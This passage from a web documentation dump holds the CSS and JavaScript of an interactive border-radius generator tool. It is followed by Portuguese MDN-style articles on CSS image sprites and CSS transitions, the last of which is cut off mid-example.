bottom: 0;\n  right: 0;\n}\n\n/\\* BOTTOM lEFT \\*/\n#bottom-left {\n  bottom: 0;\n  left: 0;\n}\n\n#bottom-left .radius {\n  border-bottom-left-radius: 100%;\n  bottom: 0;\n}\n\n/\\* INPUT SLIDERS \\*/\n\n#preview .ui-input-slider {\n  margin: 10px;\n  position: absolute;\n  z-index: 10;\n}\n\n#radius-ui-sliders {\n  width: 100%;\n  height: 100%;\n  min-height: 75px;\n  min-width: 150px;\n  padding: 20px 50px;\n  top: -20px;\n  left: -50px;\n  position: relative;\n}\n\n#tlr {\n  top: -30px;\n  left: -50px;\n  display: none;\n}\n\n#tlw {\n  top: -30px;\n  left: 30px;\n}\n\n#tlh {\n  top: 20px;\n  left: -50px;\n}\n\n#trr {\n  top: -30px;\n  right: -50px;\n  display: none;\n}\n\n#trw {\n  top: -30px;\n  right: 30px;\n}\n\n#trh {\n  top: 20px;\n  right: -50px;\n}\n\n#brr {\n  bottom: -30px;\n  right: -50px;\n  display: none;\n}\n\n#brw {\n  bottom: -30px;\n  right: 30px;\n}\n\n#brh {\n  bottom: 20px;\n  right: -50px;\n}\n\n#blr {\n  bottom: -30px;\n  left: -50px;\n  display: none;\n}\n\n#blw {\n  bottom: -30px;\n  left: 30px;\n}\n\n#blh {\n  bottom: 20px;\n  left: -50px;\n}\n\n#preview .ui-input-slider-left,\n#preview .ui-input-slider-right {\n  visibility: hidden;\n}\n\n#preview .ui-input-slider-container:hover .ui-input-slider-left {\n  visibility: visible;\n}\n\n#preview .ui-input-slider-container:hover .ui-input-slider-right {\n  visibility: visible;\n}\n\n/\\*\n \\*\n \\*/\n\n#unit-selection {\n  width: 200px;\n  height: 75px;\n  margin: 30px 30px 0 0;\n  padding: 30px;\n  border: 3px solid #555;\n  border-radius: 10px;\n  position: relative;\n  float: right;\n}\n\n#unit-selection .info {\n  height: 20%;\n  width: 100%;\n  line-height: 20%;\n  font-size: 20px;\n  text-align: center;\n  position: relative;\n  top: 40%;\n}\n\n#unit-selection .dropdown {\n  width: 50px;\n  height: 20px;\n  margin: 10px;\n  padding: 0;\n  border-radius: 3px;\n  position: absolute;\n  overflow: hidden;\n}\n\n#unit-selection select {\n  width: 50px;\n  height: 20px;\n  marign: 0;\n  padding: 0 0 0 10px;\n  background: #555;\n  border: 1px solid #555;\n  border: none;\n  color: #fff;\n  float: left;\n}\n\n#unit-selection select option {\n  background: #fff;\n  color: #333;\n}\n\n#unit-selection select:hover {\n  cursor: pointer;\n}\n\n#unit-selection .dropdown:before {\n  content: \"\";\n  width: 18px;\n  height: 20px;\n  display: block;\n  background-color: #555;\n  background-image: url(\"dropdown.png\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  top: 0px;\n  right: 0px;\n  position: absolute;\n  z-index: 1;\n  pointer-events: none;\n}\n\n#unit-selection .unit-top-left {\n  top: 0;\n  left: 0;\n  display: none;\n}\n\n#unit-selection .unit-top-left-w {\n  top: -22px;\n  left: 30px;\n}\n\n#unit-selection .unit-top-left-h {\n  top: 20px;\n  left: -37px;\n}\n\n#unit-selection .unit-top-right {\n  top: 0;\n  right: 0;\n  display: none;\n}\n\n#unit-selection .unit-top-right-w {\n  top: -22px;\n  right: 30px;\n}\n\n#unit-selection .unit-top-right-h {\n  top: 20px;\n  right: -37px;\n}\n\n#unit-selection .unit-bottom-right {\n  bottom: 0;\n  right: 0;\n  display: none;\n}\n\n#unit-selection .unit-bottom-right-w {\n  bottom: -22px;\n  right: 30px;\n}\n\n#unit-selection .unit-bottom-right-h {\n  bottom: 20px;\n  right: -37px;\n}\n\n#unit-selection .unit-bottom-left {\n  bottom: 0;\n  left: 0;\n  display: none;\n}\n\n#unit-selection .unit-bottom-left-w {\n  bottom: -22px;\n  left: 30px;\n}\n\n#unit-selection .unit-bottom-left-h {\n  bottom: 20px;\n  left: -37px;\n}\n\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n\n#radius-lock {\n  width: 200px;\n  height: 75px;\n  margin: 30px 0 0 30px;\n  padding: 30px;\n  border: 3px solid #555;\n  border-radius: 10px;\n  position: relative;\n  float: left;\n}\n\n#radius-lock .ui-checkbox {\n  color: #fff;\n  position: absolute;\n}\n\n#radius-lock .ui-checkbox > label {\n  height: 20px;\n  width: 34px;\n  padding: 0;\n}\n\n#radius-lock .info {\n  height: 20%;\n  width: 100%;\n  line-height: 20%;\n  font-size: 20px;\n  text-align: center;\n  position: relative;\n  top: 40%;\n}\n\n#radius-lock [data-topic=\"top-left\"] {\n  top: 10px;\n  left: 10px;\n}\n\n#radius-lock [data-topic=\"top-right\"] {\n  top: 10px;\n  right: 10px;\n}\n\n#radius-lock [data-topic=\"bottom-right\"] {\n  bottom: 10px;\n  right: 10px;\n}\n\n#radius-lock [data-topic=\"bottom-left\"] {\n  bottom: 10px;\n  left: 10px;\n}\n\n/\\*\\*\n \\* Controls\n \\*/\n\n#dimensions {\n  width: 200px;\n  color: #444;\n  float: left;\n}\n\n#dimensions input {\n  background: #555;\n  color: #fff;\n  border: none;\n  border-radius: 3px;\n}\n\n#output {\n  width: 500px;\n  padding: 10px 0;\n  margin: 10px 0;\n  color: #555;\n  text-align: center;\n  border: 1px dashed #999;\n  border-radius: 3px;\n  -moz-user-select: text;\n  -webkit-user-select: text;\n  -ms-user-select: text;\n  user-select: text;\n\n  float: right;\n}\n```\n\n\n```\n\"use strict\";\n\n/\\*\\*\n \\* UI-InputSliderManager\n \\*/\n\nvar InputSliderManager = (function InputSliderManager() {\n  var subscribers = {};\n  var sliders = [];\n\n  var InputComponent = function InputComponent(obj) {\n    var input = document.createElement(\"input\");\n    input.setAttribute(\"type\", \"text\");\n\n    input.addEventListener(\"click\", function (e) {\n      this.select();\n    });\n\n    input.addEventListener(\"change\", function (e) {\n      var value = parseInt(e.target.value);\n\n      if (isNaN(value) === true) setValue(obj.topic, obj.value);\n      else setValue(obj.topic, value);\n    });\n\n    subscribe(obj.topic, function (value) {\n      input.value = value + obj.unit;\n    });\n\n    return input;\n  };\n\n  var SliderComponent = function SliderComponent(obj, sign) {\n    var slider = document.createElement(\"div\");\n    var startX = null;\n    var start_value = 0;\n\n    slider.addEventListener(\"click\", function (e) {\n      setValue(obj.topic, obj.value + obj.step \\* sign);\n    });\n\n    slider.addEventListener(\"mousedown\", function (e) {\n      startX = e.clientX;\n      start_value = obj.value;\n      document.body.style.cursor = \"e-resize\";\n      document.addEventListener(\"mousemove\", sliderMotion);\n    });\n\n    document.addEventListener(\"mouseup\", function (e) {\n      document.removeEventListener(\"mousemove\", sliderMotion);\n      document.body.style.cursor = \"auto\";\n      slider.style.cursor = \"pointer\";\n    });\n\n    var sliderMotion = function sliderMotion(e) {\n      slider.style.cursor = \"e-resize\";\n      var delta = ((e.clientX - startX) / obj.sensivity) | 0;\n      var value = delta \\* obj.step + start_value;\n      setValue(obj.topic, value);\n    };\n\n    return slider;\n  };\n\n  var InputSlider = function (node) {\n    var min = node.getAttribute(\"data-min\") | 0;\n    var max = node.getAttribute(\"data-max\") | 0;\n    var step = node.getAttribute(\"data-step\") | 0;\n    var value = node.getAttribute(\"data-value\") | 0;\n    var topic = node.getAttribute(\"data-topic\");\n    var unit = node.getAttribute(\"data-unit\");\n    var name = node.getAttribute(\"data-info\");\n    var sensivity = node.getAttribute(\"data-sensivity\") | 0;\n\n    this.min = min;\n    this.max = max > 0 ? max : 100;\n    this.step = step === 0 ? 1 : step;\n    this.topic = topic;\n    this.node = node;\n    this.unit = unit;\n    this.sensivity = sensivity > 0 ? sensivity : 5;\n\n    var input = new InputComponent(this);\n    var slider_left = new SliderComponent(this, -1);\n    var slider_right = new SliderComponent(this, 1);\n\n    slider_left.className = \"ui-input-slider-left\";\n    slider_right.className = \"ui-input-slider-right\";\n\n    if (name) {\n      var info = document.createElement(\"span\");\n      info.className = \"ui-input-slider-info\";\n      info.textContent = name;\n      node.appendChild(info);\n    }\n\n    node.appendChild(slider_left);\n    node.appendChild(input);\n    node.appendChild(slider_right);\n    node.className = \"ui-input-slider ui-input-slider-container\";\n\n    this.input = input;\n    sliders[topic] = this;\n    setValue(topic, value);\n  };\n\n  var setValue = function setValue(topic, value, send\\_notify) {\n    var slider = sliders[topic];\n    if (slider === undefined) return;\n\n    if (value > slider.max) value = slider.max;\n    if (value < slider.min) value = slider.min;\n\n    slider.value = value;\n    slider.node.setAttribute(\"data-value\", value);\n\n    if (send_notify !== undefined && send_notify === false) {\n      slider.input.value = value + slider.unit;\n      return;\n    }\n\n    notify.call(slider);\n  };\n\n  var setMax = function setMax(topic, value) {\n    var slider = sliders[topic];\n    if (slider === undefined) return;\n\n    slider.max = value;\n    setValue(topic, slider.value);\n  };\n\n  var setMin = function setMin(topic, value) {\n    var slider = sliders[topic];\n    if (slider === undefined) return;\n\n    slider.min = value;\n    setValue(topic, slider.value);\n  };\n\n  var setUnit = function setUnit(topic, unit) {\n    var slider = sliders[topic];\n    if (slider === undefined) return;\n\n    slider.unit = unit;\n    setValue(topic, slider.value);\n  };\n\n  var getNode = function getNode(topic) {\n    return sliders[topic].node;\n  };\n\n  var subscribe = function subscribe(topic, callback) {\n    if (subscribers[topic] === undefined) subscribers[topic] = [];\n    subscribers[topic].push(callback);\n  };\n\n  var unsubscribe = function unsubscribe(topic, callback) {\n    subscribers[topic].indexOf(callback);\n    subscribers[topic].splice(index, 1);\n  };\n\n  var notify = function notify() {\n    for (var i in subscribers[this.topic]) {\n      subscribers[this.topic][i](this.value);\n    }\n  };\n\n  var init = function init() {\n    var elem = document.querySelectorAll(\".ui-input-slider\");\n    var size = elem.length;\n    for (var i = 0; i < size; i++) new InputSlider(elem[i]);\n  };\n\n  return {\n    init: init,\n    setMax: setMax,\n    setMin: setMin,\n    setUnit: setUnit,\n    getNode: getNode,\n    setValue: setValue,\n    subscribe: subscribe,\n    unsubscribe: unsubscribe,\n  };\n})();\n\n/\\*\\*\n \\* UI-ButtonManager\n \\*/\n\nvar ButtonManager = (function CheckBoxManager() {\n  var subscribers = [];\n  var buttons = [];\n\n  var CheckBox = function CheckBox(node) {\n    var topic = node.getAttribute(\"data-topic\");\n    var state = node.getAttribute(\"data-state\");\n    var name = node.getAttribute(\"data-label\");\n    var align = node.getAttribute(\"data-text-on\");\n\n    state = state === \"true\";\n\n    var checkbox = document.createElement(\"input\");\n    var label = document.createElement(\"label\");\n\n    var id = \"checkbox-\" + topic;\n    checkbox.id = id;\n    checkbox.setAttribute(\"type\", \"checkbox\");\n    checkbox.checked = state;\n\n    label.setAttribute(\"for\", id);\n    if (name) {\n      label.className = \"text\";\n      if (align) label.className += \" \" + align;\n      label.textContent = name;\n    }\n\n    node.appendChild(checkbox);\n    node.appendChild(label);\n\n    this.node = node;\n    this.topic = topic;\n    this.checkbox = checkbox;\n\n    checkbox.addEventListener(\n      \"change\",\n      function (e) {\n        notify.call(this);\n      }.bind(this),\n    );\n\n    buttons[topic] = this;\n  };\n\n  var getNode = function getNode(topic) {\n    return buttons[topic].node;\n  };\n\n  var setValue = function setValue(topic, value) {\n    try {\n      buttons[topic].checkbox.checked = value;\n    } catch (error) {\n      console.log(error);\n    }\n  };\n\n  var subscribe = function subscribe(topic, callback) {\n    if (subscribers[topic] === undefined) subscribers[topic] = [];\n\n    subscribers[topic].push(callback);\n  };\n\n  var unsubscribe = function unsubscribe(topic, callback) {\n    subscribers[topic].indexOf(callback);\n    subscribers[topic].splice(index, 1);\n  };\n\n  var notify = function notify() {\n    for (var i = 0; i < subscribers[this.topic].length; i++)\n      subscribers[this.topic][i](this.checkbox.checked);\n  };\n\n  var init = function init() {\n    var elem = document.querySelectorAll(\".ui-checkbox\");\n    var size = elem.length;\n    for (var i = 0; i < size; i++) new CheckBox(elem[i]);\n  };\n\n  return {\n    init: init,\n    setValue: setValue,\n    subscribe: subscribe,\n    unsubscribe: unsubscribe,\n  };\n})();\n\nwindow.addEventListener(\"load\", function () {\n  BorderRadius.init();\n});\n\nvar BorderRadius = (function BorderRadius() {\n  function getElemById(id) {\n    return document.getElementById(id);\n  }\n\n  /\\*\\*\n \\* Shadow dragging\n \\*/\n  var PreviewMouseTracking = (function Drag() {\n    var active = false;\n    var lastX = 0;\n    var lastY = 0;\n    var subscribers = [];\n\n    var init = function init(id) {\n      var elem = getElemById(id);\n      elem.addEventListener(\"mousedown\", dragStart, false);\n      document.addEventListener(\"mouseup\", dragEnd, false);\n    };\n\n    var dragStart = function dragStart(e) {\n      if (e.button !== 0) return;\n\n      active = true;\n      lastX = e.clientX;\n      lastY = e.clientY;\n      document.addEventListener(\"mousemove\", mouseDrag, false);\n    };\n\n    var dragEnd = function dragEnd(e) {\n      if (e.button !== 0) return;\n\n      if (active === true) {\n        active = false;\n        document.removeEventListener(\"mousemove\", mouseDrag, false);\n      }\n    };\n\n    var mouseDrag = function mouseDrag(e) {\n      notify(e.clientX - lastX, e.clientY - lastY);\n      lastX = e.clientX;\n      lastY = e.clientY;\n    };\n\n    var subscribe = function subscribe(callback) {\n      subscribers.push(callback);\n    };\n\n    var unsubscribe = function unsubscribe(callback) {\n      var index = subscribers.indexOf(callback);\n      subscribers.splice(index, 1);\n    };\n\n    var notify = function notify(deltaX, deltaY) {\n      for (var i in subscribers) subscribers[i](deltaX, deltaY);\n    };\n\n    return {\n      init: init,\n      subscribe: subscribe,\n      unsubscribe: unsubscribe,\n    };\n  })();\n\n  var subject;\n  var units = [\"px\", \"%\"];\n  var output = null;\n\n  var UnitSelector = function UnitSelector(topic) {\n    this.container = document.createElement(\"div\");\n    this.select = document.createElement(\"select\");\n    for (var i in units) {\n      var option = document.createElement(\"option\");\n      option.value = i;\n      option.textContent = units[i];\n      this.select.appendChild(option);\n    }\n\n    this.container.className = \"dropdown \" + \"unit-\" + topic;\n    this.container.appendChild(this.select);\n  };\n\n  UnitSelector.prototype.setValue = function setValue(value) {\n    this.salect.value = value;\n  };\n\n  var RadiusContainer = function RadiusContainer(node) {\n    var radius = document.createElement(\"div\");\n    var handle = document.createElement(\"div\");\n    var x = node.getAttribute(\"data-x\");\n    var y = node.getAttribute(\"data-y\");\n    var active = false;\n\n    this.id = node.id;\n    this.node = node;\n    this.radius = radius;\n    this.handle = handle;\n    this.width = 100;\n    this.height = 50;\n    this.size = 0;\n    this.rounded = false;\n\n    this.unitX = 0;\n    this.unitY = 0;\n    this.unitR = 0;\n\n    this.maxW = 100;\n    this.maxH = 100;\n    this.maxR = 100;\n\n    this.topic = y + \"-\" + x;\n\n    var sliderW = InputSliderManager.getNode(this.topic + \"-w\");\n    var sliderH = InputSliderManager.getNode(this.topic + \"-h\");\n    var sliderR = InputSliderManager.getNode(this.topic);\n\n    this.setUnitX(this.unitX);\n    this.setUnitY(this.unitY);\n    this.setUnitR(this.unitR);\n\n    this.updateWidth();\n    this.updateHeight();\n    this.updateRadius();\n\n    if (x === \"left\") this.resizeX = 1;\n    if (x === \"right\") this.resizeX = -1;\n    if (y === \"top\") this.resizeY = 1;\n    if (y === \"bottom\") this.resizeY = -1;\n\n    radius.className = \"radius\";\n\n    var unit_selector = document.getElementById(\"unit-selection\");\n    var unitW = new UnitSelector(this.topic + \"-w\");\n    var unitH = new UnitSelector(this.topic + \"-h\");\n    var unitR = new UnitSelector(this.topic);\n\n    unit_selector.appendChild(unitW.container);\n    unit_selector.appendChild(unitH.container);\n    unit_selector.appendChild(unitR.container);\n    node.appendChild(radius);\n    subject.appendChild(handle);\n\n    unitW.select.addEventListener(\n      \"change\",\n      function (e) {\n        this.setUnitX(e.target.value | 0);\n      }.bind(this),\n    );\n\n    unitH.select.addEventListener(\n      \"change\",\n      function (e) {\n        this.setUnitY(e.target.value | 0);\n      }.bind(this),\n    );\n\n    unitR.select.addEventListener(\n      \"change\",\n      function (e) {\n        this.setUnitR(e.target.value | 0);\n      }.bind(this),\n    );\n\n    if (x === \"left\" && y == \"top\") handle.className = \"handle handle-top-left\";\n    if (x === \"right\" && y == \"top\")\n      handle.className = \"handle handle-top-right\";\n    if (x === \"right\" && y == \"bottom\")\n      handle.className = \"handle handle-bottom-right\";\n    if (x === \"left\" && y == \"bottom\")\n      handle.className = \"handle handle-bottom-left\";\n\n    handle.addEventListener(\n      \"mousedown\",\n      function (e) {\n        active = true;\n        this.radius.style.display = \"block\";\n        PreviewMouseTracking.subscribe(this.updateContainer.bind(this));\n      }.bind(this),\n    );\n\n    document.addEventListener(\n      \"mouseup\",\n      function (e) {\n        this.radius.style.display = \"none\";\n        if (active === true)\n          PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));\n      }.bind(this),\n    );\n\n    InputSliderManager.subscribe(this.topic + \"-w\", this.setWidth.bind(this));\n    InputSliderManager.subscribe(this.topic + \"-h\", this.setHeight.bind(this));\n    InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));\n\n    ButtonManager.subscribe(\n      this.topic,\n      function (value) {\n        this.rounded = value;\n        if (value === true) {\n          unitW.container.style.display = \"none\";\n          unitH.container.style.display = \"none\";\n          unitR.container.style.display = \"block\";\n          sliderW.style.display = \"none\";\n          sliderH.style.display = \"none\";\n          sliderR.style.display = \"block\";\n          this.setUnitR(this.unitR);\n          this.updateRadius();\n        }\n\n        if (value === false) {\n          unitW.container.style.display = \"block\";\n          unitH.container.style.display = \"block\";\n          unitR.container.style.display = \"none\";\n          sliderW.style.display = \"block\";\n          sliderH.style.display = \"block\";\n          sliderR.style.display = \"none\";\n          this.setUnitX(this.unitX);\n          this.setUnitY(this.unitY);\n          this.updateWidth();\n          this.updateHeight();\n        }\n\n        this.updateBorderRadius();\n      }.bind(this),\n    );\n\n    this.updateBorderRadius();\n  };\n\n  RadiusContainer.prototype.updateWidth = function updateWidth() {\n    this.node.style.width = this.width + units[this.unitX];\n    var value = Math.round(this.width / 2);\n    InputSliderManager.setValue(this.topic + \"-w\", value, false);\n  };\n\n  RadiusContainer.prototype.updateHeight = function updateHeight() {\n    this.node.style.height = this.height + units[this.unitY];\n    var value = Math.round(this.height / 2);\n    InputSliderManager.setValue(this.topic + \"-h\", value, false);\n  };\n\n  RadiusContainer.prototype.updateRadius = function updateRadius() {\n    var value = Math.round(this.size / 2);\n    this.node.style.width = this.size + units[this.unitR];\n    this.node.style.height = this.size + units[this.unitR];\n    InputSliderManager.setValue(this.topic, value, false);\n  };\n\n  RadiusContainer.prototype.setWidth = function setWidth(value) {\n    this.radius.style.display = \"block\";\n    this.width = 2 \\* value;\n    this.node.style.width = this.width + units[this.unitX];\n    this.updateBorderRadius();\n  };\n\n  RadiusContainer.prototype.setHeight = function setHeight(value) {\n    this.radius.style.display = \"block\";\n    this.height = 2 \\* value;\n    this.node.style.height = this.height + units[this.unitY];\n    this.updateBorderRadius();\n  };\n\n  RadiusContainer.prototype.setRadius = function setRadius(value) {\n    this.radius.style.display = \"block\";\n    this.size = 2 \\* value;\n    this.node.style.width = this.size + units[this.unitR];\n    this.node.style.height = this.size + units[this.unitR];\n    this.updateBorderRadius();\n  };\n\n  RadiusContainer.prototype.setUnitX = function setUnitX(value) {\n    this.unitX = value;\n    if (this.unitX === 0) this.maxW = 2 \\* subject.clientWidth;\n    if (this.unitX === 1) this.maxW = 200;\n    InputSliderManager.setUnit(this.topic + \"-w\", units[this.unitX]);\n    InputSliderManager.setMax(this.topic + \"-w\", this.maxW / 2);\n  };\n\n  RadiusContainer.prototype.setUnitY = function setUnitY(value) {\n    this.unitY = value;\n    if (this.unitY === 0) this.maxH = 2 \\* subject.clientHeight;\n    if (this.unitY === 1) this.maxH = 200;\n    InputSliderManager.setUnit(this.topic + \"-h\", units[this.unitY]);\n    InputSliderManager.setMax(this.topic + \"-h\", this.maxH / 2);\n  };\n\n  RadiusContainer.prototype.setUnitR = function setUnitR(value) {\n    this.unitR = value;\n\n    if (this.unitR === 0)\n      this.maxR = 2 \\* Math.min(subject.clientHeight, subject.clientWidth);\n\n    if (this.unitR === 1) this.maxR = 200;\n\n    InputSliderManager.setUnit(this.topic, units[this.unitR]);\n    InputSliderManager.setMax(this.topic, this.maxR / 2);\n  };\n\n  RadiusContainer.prototype.updateUnits = function updateUnits(unit) {\n    if (this.rounded) {\n      this.setUnitR(this.unitR);\n      return;\n    }\n\n    if (unit === 0) this.setUnitX(this.unitX);\n\n    if (unit === 1) this.setUnitY(this.unitY);\n  };\n\n  RadiusContainer.prototype.composeBorderRadius =\n    function composeBorderRadius() {\n      if (this.rounded === true) {\n        var unit = units[this.unitR];\n        var value = Math.round(this.size / 2);\n        return value + unit;\n      }\n\n      var unitX = units[this.unitX];\n      var unitY = units[this.unitY];\n      var valueX = Math.round(this.width / 2);\n      var valueY = Math.round(this.height / 2);\n\n      if (valueX === valueY && this.unitX === this.unitY) return valueX + unitX;\n\n      return valueX + unitX + \" \" + valueY + unitY;\n    };\n\n  RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius() {\n    var radius = this.composeBorderRadius();\n    var corner = 0;\n\n    if (this.topic === \"top-left\") {\n      subject.style.borderTopLeftRadius = radius;\n      corner = 0;\n    }\n\n    if (this.topic === \"top-right\") {\n      subject.style.borderTopRightRadius = radius;\n      corner = 1;\n    }\n\n    if (this.topic === \"bottom-right\") {\n      subject.style.borderBottomRightRadius = radius;\n      corner = 2;\n    }\n\n    if (this.topic === \"bottom-left\") {\n      subject.style.borderBottomLeftRadius = radius;\n      corner = 3;\n    }\n\n    Tool.updateOutput(corner, radius);\n  };\n\n  RadiusContainer.prototype.updateContainer = function updateContainer(\n    deltaX,\n deltaY,\n  ) {\n    if (this.rounded === true) {\n      this.size += this.resizeX \\* deltaX + this.resizeY \\* deltaY;\n      if (this.size < 0) this.size = 0;\n      if (this.size > this.maxR) this.size = this.maxR;\n      this.updateRadius();\n      this.updateBorderRadius();\n      return;\n    }\n\n    if (deltaX) {\n      this.width += this.resizeX \\* deltaX;\n      if (this.width < 0) this.width = 0;\n      if (this.width > this.maxW) this.width = this.maxW;\n      this.updateWidth();\n    }\n\n    if (deltaY) {\n      this.height += this.resizeY \\* deltaY;\n      if (this.height < 0) this.height = 0;\n      if (this.height > this.maxH) this.height = this.maxH;\n      this.updateHeight();\n    }\n\n    if (deltaX || deltaY) this.updateBorderRadius();\n  };\n\n  /\\*\\*\n \\* Tool Manager\n \\*/\n  var Tool = (function Tool() {\n    var preview;\n    var preview_ui;\n    var radius_containers = [];\n    var border_width = 3;\n    var borders1 = [null, null, null, null];\n    var borders2 = [0, 0, 0, 0];\n\n    var updateUIWidth = function updateUIWidth(value) {\n      var pwidth = subject.parentElement.clientWidth;\n      var left = (pwidth - value) / 2;\n      subject.style.width = value + \"px\";\n\n      for (var i = 0; i < 4; i++) radius_containers[i].updateUnits(0);\n    };\n\n    var updateUIHeight = function updateUIHeight(value) {\n      var pheight = subject.parentElement.clientHeight;\n      var top = (pheight - value) / 2;\n      subject.style.height = value + \"px\";\n      subject.style.top = top - border_width + \"px\";\n\n      for (var i = 0; i < 4; i++) radius_containers[i].updateUnits(1);\n    };\n\n    var updatePreviewUIWidth = function updatePreviewUIWidth() {\n      var p = subject.parentElement.clientWidth;\n      var v = preview_ui.clientWidth;\n      console.log(p, v, (p - v) / 2);\n      preview_ui.style.left = (p - v) / 2 + \"px\";\n    };\n\n    var updatePreviewUIHeight = function updatePreviewUIHeight() {\n      var p = subject.parentElement.clientHeight;\n      var v = preview_ui.clientHeight;\n      console.log(p, v, (p - v) / 2);\n      preview_ui.style.top = (p - v) / 2 + \"px\";\n    };\n\n    var updateOutput = function updateOutput(corner, radius) {\n      var values = radius.split(\" \");\n\n      borders1[corner] = values[0];\n      borders2[corner] = values[0];\n\n      if (values.length === 2) borders2[corner] = values[1];\n\n      var border_1_value = borders1.join(\" \");\n      var border_2_value = borders2.join(\" \");\n      var border_radius = \"border-radius: \" + border_1_value;\n\n      if (border_2_value !== border_1_value)\n        border_radius += \" / \" + border_2_value;\n\n      border_radius += \";\";\n      output.textContent = border_radius;\n    };\n\n    var init = function init() {\n      preview = getElemById(\"preview\");\n      subject = getElemById(\"subject\");\n      output = getElemById(\"output\");\n      preview_ui = getElemById(\"radius-ui-sliders\");\n\n      var elem = document.querySelectorAll(\".radius-container\");\n      var size = elem.length;\n      for (var i = 0; i < size; i++)\n        radius_containers[i] = new RadiusContainer(elem[i]);\n\n      InputSliderManager.subscribe(\"width\", updateUIWidth);\n      InputSliderManager.subscribe(\"height\", updateUIHeight);\n\n      InputSliderManager.setValue(\"width\", subject.clientWidth);\n      InputSliderManager.setValue(\"height\", subject.clientHeight);\n    };\n\n    return {\n      init: init,\n      updateOutput: updateOutput,\n    };\n  })();\n\n  /\\*\\*\n \\* Init Tool\n \\*/\n  var init = function init() {\n    ButtonManager.init();\n    InputSliderManager.init();\n    PreviewMouseTracking.init(\"preview\");\n    Tool.init();\n  };\n\n  return {\n    init: init,\n  };\n})();\n```"}
{"title":"Implementando sprites de imagens em CSS - CSS","text":"Implementando sprites de imagens em CSS\n=======================================\n\n**Sprites de imagens** são utilizados em diversas aplicações web onde várias imagens são usadas. Ao invés de incluir cada arquivo de imagem separadamente, é mais amigável com a memória e largura de banda enviar tudo como uma única imagem, diminuindo o número de pedidos em HTTP.\n\n**Nota:** Quando usando HTTP/2, é mais amigável com a largura de banda usar vários pequenos pedidos.\n\nImplementação\n-------------\n\nSuponha que uma imagem é dada a cada item com a classe `toolbtn`:\n\n\n```css\n.toolbtn {\n  background: url(myfile.png);\n  display: inline-block;\n  height: 20px;\n  width: 20px;\n}\n```\n\n\nA posição do plano de fundo pode ser adicionada tanto com dois valores x, y depois de `url()` (en-US) em background , ou como `background-position` (en-US) . Por exemplo:\n\n\n```css\n#btn1 {\n  background-position: -20px 0px;\n}\n\n#btn2 {\n  background-position: -40px 0px;\n}\n```\n\n\nIsso vai mover o elemento com a ID 'btn1' 20 pixels para a esquerda e o elemento com a ID 'btn2' 40 pixels para a esquerda (presumindo que ambos tem a classe `toolbtn` atribuída e estão sendo afetados pela regra da imagem acima).\n\nDe forma similar, você pode criar um efeito de hover com:\n\n\n```css\n#btn:hover {\n  background-position: <pixels para direita>px <pixels para baixo>px;\n}\n```\n\nVeja também\n-----------\n\n* Demo completa em CSS Tricks"}
{"title":"Using CSS transitions - CSS","text":"Using CSS transitions\n=====================\n\n**CSS transitions** provê uma forma de controlar a velocidade de uma animação quando há mudanças de propriedades CSS. Ao invés de uma propriedade entrar em vigor imediatamente, você pode fazer com que as mudanças em uma propriedade ocorram durante um periodo de tempo. Por exemplo, se você mudar a cor de um elemento de branco para preto, a alteração será instantanea. Utilizando transições CSS, as alterações acontecem em uma intervalo de tempo que seguem uma curva de aceleração, e todas podem ser personalizadas\n\nAnimações que envolvem transições entre dois estados geralmente são chamadas de *transições implicitas,* como os estados entre o começo e o fim são implicitamente definidos pelo browser\n\n![A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions.](/files/4529/TransitionsPrinciple.png)\n\nAnimações CSS permitem que você decida quais propriedades animar (listando-os explicitamente), quando a animação deve começar (definindo o delay), quão longa a transição será (definindo a duração), e como a transição irá ocorrer (definindo o tempo da função, linear ou rápido no início, lento no final).\n\nQuais propriedade CSS podem transicionadas?\n-------------------------------------------\n\nVocê mesmo pode definir qual propriedade será transicionada e de qual maneira. E isso permite a criação de transições complexas. Como não faz sentido animar algumas propriedades, existe uma lista finita com propriedades que podem ser transicionadas (en-US).\n\n**Nota:** A lista de propriedades que podem ser animadas sofre alterações a medida que a especificação se desenvolve.\n\n**Nota:** O valor `automatico` , geralmente é complexo. A especificação recomenda não animar com valores automaticos. Alguns user agents, como aqueles baseados no Genko, implementam esse requisito, como aqueles baseados no WebKit, são menos rigosos. Animações CSS que utlizam o valor `automatico`, podem levar resultados imprevisiveis, dependendo do Browser e da versão, e isso pode ser evitado.\n\nDefinindo transições\n--------------------\n\nTransições CSS são controladas usando a propriedade `transition`. Essa é a melhor maneira de configurar uma transição, assim evitamos parâmetros fora de sintonia, o que pode ser muito frustrante desperdiçar tanto tempo debuggando CSS.\n\nVocê pode controlar componentes individuais da transição com a seguinte sub propriedade:\n\n**(Observe que essas transições fazem um loop infinitamente apenas para o propósito de nossos exemplos; `transitions` apenas visualizam a mudança na propriedade de começo ao fim. Se você precisar de visualizações desse loop, procure na propriedade `animation`.)**\n\n`transition-property` (en-US)\n\nEspecifica o nome ou nomes das propriedades CSS que as transições serão aplicadas. Somente as propriedades listadas aqui serão animadas durante a transição; alterações e todas outras propriedades ocorrem instantaneamente.\n\n`transition-duration` (en-US)\n\nEspecifica a duração em que as transições devem ocorrer. Você pode especificar uma única duração que se aplica a todas as propriedades durante a transição ou vários valores para permitir que cada propriedade faça a transição em um período de tempo diferente.\n\n`transition-duration: 0.5s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 